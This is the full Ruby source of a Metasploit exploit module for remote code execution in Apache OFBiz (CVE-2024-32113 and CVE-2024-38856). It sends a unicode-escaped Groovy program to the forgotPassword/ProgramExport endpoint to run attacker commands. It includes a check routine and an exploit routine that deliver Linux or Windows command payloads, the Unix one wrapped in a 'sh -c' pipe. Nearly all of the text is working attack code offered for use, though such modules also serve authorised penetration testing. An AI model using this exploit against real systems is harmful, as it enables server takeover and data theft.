Apache OFBiz forgotPassword/ProgramExport RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache OFBiz forgotPassword/ProgramExport RCE',
        'Description' => %q{
          Apache OFBiz versions prior to 18.12.13 are vulnerable to a path traversal vulnerability (CVE-2024-32113). The
          vulnerable endpoint /webtools/control/forgotPassword allows an attacker to access the ProgramExport endpoint
          which in turn allows for remote code execution in the context of the user running the application. This was
          patched in 18.12.14.

          It was then discovered that the use of the path traversal vulnerability is not required in order to access
          the vulnerable endpoint ProgramExport. CVE-2024-38856 was given for this Incorrect Authorization vulnerability
          and was patched in 18.12.15.

          This module was originally written the exploit CVE-2024-32113, but upon the discovery of CVE-2024-38856 the
          module updated to not exploit the path traversal vulnerability allowing for exploitation on 18.12.14 as well.
        },
        'Author' => [
          'Mr-xn', # PoC
          'jheysel-r7' # module
        ],
        'References' => [
          [ 'URL', 'https://github.com/Mr-xn/CVE-2024-32113'],
          [ 'URL', 'https://xz.aliyun.com/t/14733?time__1311=mqmx9Qwx0WDsd5YK0%3Dai%3Dmd7KbxGupD&alichlgref=https%3A%2F%2Fgithub.com%2FMr-xn%2FCVE-2024-32113'],
          [ 'CVE', '2024-32113'],
          ['EDB', '52020'],
          [ 'CVE', '2024-38856']
        ],
        'License' => MSF_LICENSE,
        'Privileged' => true, # You get a root session when exploiting a docker container though user level session on Windows.
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => ['linux', 'unix'],
              'Arch' => [ARCH_CMD],
              'Type' => :unix_cmd
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => ['win'],
              'Arch' => [ARCH_CMD],
              'Type' => :win_cmd
            }
          ],
        ],
        'Payload' => {
          'BadChars' => "\x3a"
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-05-30',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        },
        'DefaultOptions' => {
          'SSL' => true,
          'RPORT' => 8443
        }
      )
    )
  end

  def send_cmd_injection(cmd)
    data = "groovyProgram=#{to_unicode_escape("throw new Exception('#{cmd}'.execute().text);")}"
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/webtools/control/forgotPassword/ProgramExport'),
      'headers' => {
        'HOST' => '127.0.0.1'
      },
      'method' => 'POST',
      'data' => data
    })
  end

  def check
    echo_test_string = rand_text_alpha(8..12)
    case target['Type']
    when :win_cmd
      test_payload = "cmd.exe /c echo #{echo_test_string}"
    when :unix_cmd
      test_payload = "echo #{echo_test_string}"
    else
      return CheckCode::Unknown('Please select a valid target')
    end

    res = send_cmd_injection(test_payload)
    return CheckCode::Unknown('Target did not respond to check.') unless res

    unless res.get_html_document&.xpath("//div[@class='content-messages errorMessage' and .//p[contains(text(), 'java.lang.Exception: #{echo_test_string}')]]")&.empty?
      return CheckCode::Vulnerable('Tested remote code execution successfully')
    end

    CheckCode::Safe('Attempting to exploit vulnerability failed.')
  end

  def to_unicode_escape(str)
    str.chars.map { |char| '\\u%04x' % char.ord }.join
  end

  def exploit
    print_status('Attempting to exploit...')
    res = ''
    case target['Type']
    when :win_cmd
      res = send_cmd_injection(payload.encoded)
    when :unix_cmd
      res = send_cmd_injection("sh -c $@|sh . echo #{payload.raw}")
    else
      fail_with(Failure::BadConfig, 'Invalid target specified')
    end
    print_error('The target responded to the exploit attempt which is not expected. The exploit likely failed') if res
  end
end